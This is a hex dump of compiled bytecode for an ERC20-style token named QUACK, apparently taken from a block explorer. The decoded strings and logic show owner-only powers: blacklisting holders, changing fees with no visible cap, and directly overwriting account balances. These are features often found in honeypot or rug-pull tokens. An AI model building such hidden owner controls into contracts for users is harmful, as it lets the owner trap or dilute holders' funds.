fffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61151f612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906139ec565b60405180910390fd5b80600b8190555050565b6115be612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461164b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611642906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116943061137b565b60008061169f61172e565b426040518863ffffffff1660e01b81526004016116c196959493929190613c44565b60606040518083038185885af11580156116df573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117049190613ca5565b5050506001601260166101000a81548160ff021916908315150217905550565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f515541434b000000000000000000000000000000000000000000000000000000815250905090565b61179c612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611829576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611820906139ec565b60405180910390fd5b601260149054906101000a900460ff1615611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613d44565b60405180910390fd5b6118a830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611915573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119399190613d79565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e69190613d79565b6040518363ffffffff1660e01b8152600401611a03929190613da6565b6020604051808303816000875af1158015611a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a469190613d79565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b25929190613b94565b6020604051808303816000875af1158015611b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b689190613bd2565b50565b6000611b7f611b78612154565b8484612325565b6001905092915050565b600080611b94612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c18906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663baa2abde8a8a8a8a8a8a8a6040518863ffffffff1660e01b8152600401611c889796959493929190613dcf565b60408051808303816000875af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cca9190613e3e565b9150915097509795505050505050565b611ce2612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d66906139ec565b60405180910390fd5b600f548111611d7d57600080fd5b80600f8190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000601260159054906101000a900460ff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e4d612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed1906139ec565b60405180910390fd5b8060078190555050565b611eec612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f70906139ec565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611fdc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612060906139ec565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6000601054905090565b60008083036120a25760009050612104565b600082846120b09190613ab2565b90508284826120bf9190613ead565b146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f690613f50565b60405180910390fd5b809150505b92915050565b600061214c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a49565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223190614074565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516123189190613605565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238b90614106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fa90614198565b60405180910390fd5b60008111612446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243d9061422a565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124ea5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252090614296565b60405180910390fd5b61253161172e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561259f575061256f61172e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156128b957601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561264f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126a55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561279757600f548111156126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e690614302565b60405180910390fd5b601260149054906101000a900460ff1661273e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127359061436e565b60405180910390fd5b6010548161274b8461137b565b612755919061438e565b1115612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d90614430565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127ff576127f4612aac565b60088190555061280e565b612807612ac3565b6008819055505b60006128193061137b565b9050601260159054906101000a900460ff161580156128865750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561289e5750601260169054906101000a900460ff165b156128b75760075481106128b6576128b581612ada565b5b5b505b612974838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129605750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61296c5760085461296f565b60005b612c07565b505050565b60008383111582906129c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b8919061355e565b60405180910390fd5b50600083856129d09190614450565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a45573d6000803e3d6000fd5b5050565b60008083118290612a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a87919061355e565b60405180910390fd5b5060008385612a9f9190613ead565b9050809150509392505050565b6000600954600b54612abe919061438e565b905090565b6000600a54600b54612ad5919061438e565b905090565b6001601260156101000a81548160ff0219169083151502179055506000612b1f6064612b11600c548561209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612b368284612e7490919063ffffffff16565b90506000612b4e60028461210a90919063ffffffff16565b90506000612b658285612e7490919063ffffffff16565b90506000479050612b7583612ebe565b6000612b8a8247612e7490919063ffffffff16565b9050612b968184613101565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051612bc993929190614484565b60405180910390a1612bda85612ebe565b612be3856129dd565b5050505050506000601260156101000a81548160ff02191690831515021790555050565b6000612c2f6064612c21848661209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612c468285612e7490919063ffffffff16565b9050612c9a84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2f81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc482600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e649190613605565b60405180910390a3505050505050565b6000612eb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612979565b905092915050565b6000600267ffffffffffffffff811115612edb57612eda613289565b5b604051908082528060200260200182016040528015612f095781602001602082028036833780820191505090505b5090503081600081518110612f2157612f20613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fec9190613d79565b8160018151811061300057612fff613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061306730601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130cb959493929190614579565b600060405180830381600087803b1580156130e557600080fd5b505af11580156130f9573d6000803e3d6000fd5b505050505050565b61312e30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308460008061317a61172e565b426040518863ffffffff1660e01b815260040161319c96959493929190613c44565b60606040518083038185885af11580156131ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131df9190613ca5565b5050506001601260166101000a81548160ff0219169083151502179055505050565b6000808284613210919061438e565b905083811015613255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324c9061461f565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6132c182613278565b810181811067ffffffffffffffff821117156132e0576132df613289565b5b80604052505050565b60006132f361325f565b90506132ff82826132b8565b919050565b600067ffffffffffffffff82111561331f5761331e613289565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061336082613335565b9050919050565b61337081613355565b811461337b57600080fd5b50565b60008135905061338d81613367565b92915050565b60006133a66133a184613304565b6132e9565b905080838252602082019050602084028301858111156133c9576133c8613330565b5b835b818110156133f257806133de888261337e565b8452602084019350506020810190506133cb565b5050509392505050565b600082601f83011261341157613410613273565b5b8135613421848260208601613393565b91505092915050565b6000602082840312156134405761343f613269565b5b600082013567ffffffffffffffff81111561345e5761345d61326e565b5b61346a848285016133fc565b91505092915050565b6000819050919050565b61348681613473565b811461349157600080fd5b50565b6000813590506134a38161347d565b92915050565b6000602082840312156134bf576134be613269565b5b60006134cd84828501613494565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135105780820151818401526020810190506134f5565b8381111561351f576000848401525b50505050565b6000613530826134d6565b61353a81856134e1565b935061354a8185602086016134f2565b61355381613278565b840191505092915050565b600060208201905081810360008301526135788184613525565b905092915050565b6000806040838503121561359757613596613269565b5b60006135a58582860161337e565b92505060206135b685828601613494565b9150509250929050565b60008115159050919050565b6135d5816135c0565b82525050565b60006020820190506135f060008301846135cc565b92915050565b6135ff81613473565b82525050565b600060208201905061361a60008301846135f6565b92915050565b60008060006060848603121561363957613638613269565b5b60006136478682870161337e565b93505060206136588682870161337e565b925050604061366986828701613494565b9150509250925092565b600060ff82169050919050565b61368981613673565b82525050565b60006020820190506136a46000830184613680565b92915050565b6000602082840312156136c0576136bf613269565b5b60006136ce8482850161337e565b91505092915050565b600067ffffffffffffffff8211156136f2576136f1613289565b5b602082029050602081019050919050565b6000613716613711846136d7565b6132e9565b9050808382526020820190506020840283018581111561373957613738613330565b5b835b81811015613762578061374e8882613494565b84526020840193505060208101905061373b565b5050509392505050565b600082601f83011261378157613780613273565b5b8135613791848260208601613703565b91505092915050565b600080604083850312156137b1576137b0613269565b5b600083013567ffffffffffffffff8111156137cf576137ce61326e565b5b6137db858286016133fc565b925050602083013567ffffffffffffffff8111156137fc576137fb61326e565b5b6138088582860161376c565b9150509250929050565b61381b81613355565b82525050565b60006020820190506138366000830184613812565b92915050565b600080600080600080600060e0888a03121561385b5761385a613269565b5b60006138698a828b0161337e565b975050602061387a8a828b0161337e565b965050604061388b8a828b01613494565b955050606061389c8a828b01613494565b94505060806138ad8a828b01613494565b93505060a06138be8a828b0161337e565b92505060c06138cf8a828b01613494565b91505092959891949750929550565b60006040820190506138f360008301856135f6565b61390060208301846135f6565b9392505050565b6000806040838503121561391e5761391d613269565b5b600061392c8582860161337e565b925050602061393d8582860161337e565b9150509250929050565b613950816135c0565b811461395b57600080fd5b50565b60008135905061396d81613947565b92915050565b60006020828403121561398957613988613269565b5b60006139978482850161395e565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139d66020836134e1565b91506139e1826139a0565b602082019050919050565b60006020820190508181036000830152613a05816139c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a7582613473565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613aa757613aa6613a3b565b5b600182019050919050565b6000613abd82613473565b9150613ac883613473565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b0157613b00613a3b565b5b828202905092915050565b600081905092915050565b50565b6000613b27600083613b0c565b9150613b3282613b17565b600082019050919050565b6000613b4882613b1a565b9150819050919050565b600081519050613b618161347d565b92915050565b600060208284031215613b7d57613b7c613269565b5b6000613b8b84828501613b52565b91505092915050565b6000604082019050613ba96000830185613812565b613bb660208301846135f6565b9392505050565b600081519050613bcc81613947565b92915050565b600060208284031215613be857613be7613269565b5b6000613bf684828501613bbd565b91505092915050565b6000819050919050565b6000819050919050565b6000613c2e613c29613c2484613bff565b613c09565b613473565b9050919050565b613c3e81613c13565b82525050565b600060c082019050613c596000830189613812565b613c6660208301886135f6565b613c736040830187613c35565b613c806060830186613c35565b613c8d6080830185613812565b613c9a60a08301846135f6565b979650505050505050565b600080600060608486031215613cbe57613cbd613269565b5b6000613ccc86828701613b52565b9350506020613cdd86828701613b52565b9250506040613cee86828701613b52565b9150509250925092565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613d2e6017836134e1565b9150613d3982613cf8565b602082019050919050565b60006020820190508181036000830152613d5d81613d21565b9050919050565b600081519050613d7381613367565b92915050565b600060208284031215613d8f57613d8e613269565b5b6000613d9d84828501613d64565b91505092915050565b6000604082019050613dbb6000830185613812565b613dc86020830184613812565b9392505050565b600060e082019050613de4600083018a613812565b613df16020830189613812565b613dfe60408301886135f6565b613e0b60608301876135f6565b613e1860808301866135f6565b613e2560a0830185613812565b613e3260c08301846135f6565b98975050505050505050565b60008060408385031215613e5557613e54613269565b5b6000613e6385828601613b52565b9250506020613e7485828601613b52565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613eb882613473565b9150613ec383613473565b925082613ed357613ed2613e7e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f3a6021836134e1565b9150613f4582613ede565b604082019050919050565b60006020820190508181036000830152613f6981613f2d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613fcc6024836134e1565b9150613fd782613f70565b604082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061405e6022836134e1565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140f06025836134e1565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006141826023836134e1565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006142146029836134e1565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000614280601b836134e1565b915061428b8261424a565b602082019050919050565b600060208201905081810360008301526142af81614273565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b60006142ec601a836134e1565b91506142f7826142b6565b602082019050919050565b6000602082019050818103600083015261431b816142df565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b60006143586013836134e1565b915061436382614322565b602082019050919050565b600060208201905081810360008301526143878161434b565b9050919050565b600061439982613473565b91506143a483613473565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143d9576143d8613a3b565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b600061441a601c836134e1565b9150614425826143e4565b602082019050919050565b600060208201905081810360008301526144498161440d565b9050919050565b600061445b82613473565b915061446683613473565b92508282101561447957614478613a3b565b5b828203905092915050565b600060608201905061449960008301866135f6565b6144a660208301856135f6565b6144b360408301846135f6565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6144f081613355565b82525050565b600061450283836144e7565b60208301905092915050565b6000602082019050919050565b6000614526826144bb565b61453081856144c6565b935061453b836144d7565b8060005b8381101561456c57815161455388826144f6565b975061455e8361450e565b92505060018101905061453f565b5085935050505092915050565b600060a08201905061458e60008301886135f6565b61459b6020830187613c35565b81810360408301526145ad818661451b565b90506145bc6060830185613812565b6145c960808301846135f6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614609601b836134e1565b9150614614826145d3565b602082019050919050565b60006020820190508181036000830152614638816145fc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f88069113ef50d8e55fe348354e86dcf066d7e1522a767d2b76a5be375e50d264736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106101fc5760003560e01c8063715018a61161010d578063baa2abde116100a0578063dd62ed3e1161006f578063dd62ed3e146106e1578063e35077971461071e578063ea2f0b3714610747578063f275f64b14610770578063f8b45b051461079957610203565b8063baa2abde14610612578063bc33718214610650578063bfd7928414610679578063cc996899146106b657610203565b80638da5cb5b116100dc5780638da5cb5b1461056857806395d89b41146105935780639e78fb4f146105be578063a9059cbb146105d557610203565b8063715018a6146104f35780637b41192a1461050a578063818a7def146105335780638c0b5e221461053d57610203565b8063351a964d1161019057806363148a501161015f57806363148a50146104245780636b9990531461044d5780636fc3eaec146104765780636ff1c9bc1461048d57806370a08231146104b657610203565b8063351a964d1461037e5780634263ec33146103a9578063437823ec146103d25780635d0044ca146103fb57610203565b806318160ddd116101cc57806318160ddd146102c25780631d60c2b0146102ed57806323b872dd14610316578063313ce5671461035357610203565b8062b8cf2a14610208578063061c82d01461023157806306fdde031461025a578063095ea7b31461028557610203565b3661020357005b600080fd5b34801561021457600080fd5b5061022f600480360381019061022a919061342a565b6107c4565b005b34801561023d57600080fd5b50610258600480360381019061025391906134a9565b6108ee565b005b34801561026657600080fd5b5061026f61098d565b60405161027c919061355e565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190613580565b6109ca565b6040516102b991906135db565b60405180910390f35b3480156102ce57600080fd5b506102d76109e8565b6040516102e49190613605565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f91906134a9565b6109f2565b005b34801561032257600080fd5b5061033d60048036038101906103389190613620565b610a91565b60405161034a91906135db565b60405180910390f35b34801561035f57600080fd5b50610368610b6a565b604051610375919061368f565b60405180910390f35b34801561038a57600080fd5b50610393610b73565b6040516103a091906135db565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906134a9565b610b8a565b005b3480156103de57600080fd5b506103f960048036038101906103f491906136aa565b610c29565b005b34801561040757600080fd5b50610422600480360381019061041d91906134a9565b610d19565b005b34801561043057600080fd5b5061044b6004803603810190610446919061379a565b610dc6565b005b34801561045957600080fd5b50610474600480360381019061046f91906136aa565b610fae565b005b34801561048257600080fd5b5061048b61109e565b005b34801561049957600080fd5b506104b460048036038101906104af91906136aa565b6110af565b005b3480156104c257600080fd5b506104dd60048036038101906104d891906136aa565b61137b565b6040516104ea9190613605565b60405180910390f35b3480156104ff57600080fd5b506105086113c4565b005b34801561051657600080fd5b50610531600480360381019061052c91906134a9565b611517565b005b61053b6115b6565b005b34801561054957600080fd5b50610552611724565b60405161055f9190613605565b60405180910390f35b34801561057457600080fd5b5061057d61172e565b60405161058a9190613821565b60405180910390f35b34801561059f57600080fd5b506105a8611757565b6040516105b5919061355e565b60405180910390f35b3480156105ca57600080fd5b506105d3611794565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190613580565b611b6b565b60405161060991906135db565b60405180910390f35b34801561061e57600080fd5b506106396004803603810190610634919061383c565b611b89565b6040516106479291906138de565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906134a9565b611cda565b005b34801561068557600080fd5b506106a0600480360381019061069b91906136aa565b611d87565b6040516106ad91906135db565b60405180910390f35b3480156106c257600080fd5b506106cb611da7565b6040516106d891906135db565b60405180910390f35b3480156106ed57600080fd5b5061070860048036038101906107039190613907565b611dbe565b6040516107159190613605565b60405180910390f35b34801561072a57600080fd5b50610745600480360381019061074091906134a9565b611e45565b005b34801561075357600080fd5b5061076e600480360381019061076991906136aa565b611ee4565b005b34801561077c57600080fd5b5061079760048036038101906107929190613973565b611fd4565b005b3480156107a557600080fd5b506107ae612086565b6040516107bb9190613605565b60405180910390f35b6107cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906139ec565b60405180910390fd5b60005b81518110156108ea5760016005600084848151811061087e5761087d613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108e290613a6a565b91505061085c565b5050565b6108f6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906139ec565b60405180910390fd5b8060088190555050565b60606040518060400160405280600581526020017f515541434b000000000000000000000000000000000000000000000000000000815250905090565b60006109de6109d7612154565b848461215c565b6001905092915050565b6000600654905090565b6109fa612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e906139ec565b60405180910390fd5b80600a8190555050565b6000610a9e848484612325565b610b5f84610aaa612154565b610b5a8560405180606001604052806028815260200161464060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b10612154565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129799092919063ffffffff16565b61215c565b600190509392505050565b60006008905090565b6000601260169054906101000a900460ff16905090565b610b92612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906139ec565b60405180910390fd5b8060098190555050565b610c31612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906139ec565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d21612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906139ec565b60405180910390fd5b6010548111610dbc57600080fd5b8060108190555050565b610dce612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e52906139ec565b60405180910390fd5b60005b8251811015610fa9576305f5e100828281518110610e7f57610e7e613a0c565b5b6020026020010151610e919190613ab2565b60026000858481518110610ea857610ea7613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610f0157610f00613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100858581518110610f6f57610f6e613a0c565b5b6020026020010151610f819190613ab2565b604051610f8e9190613605565b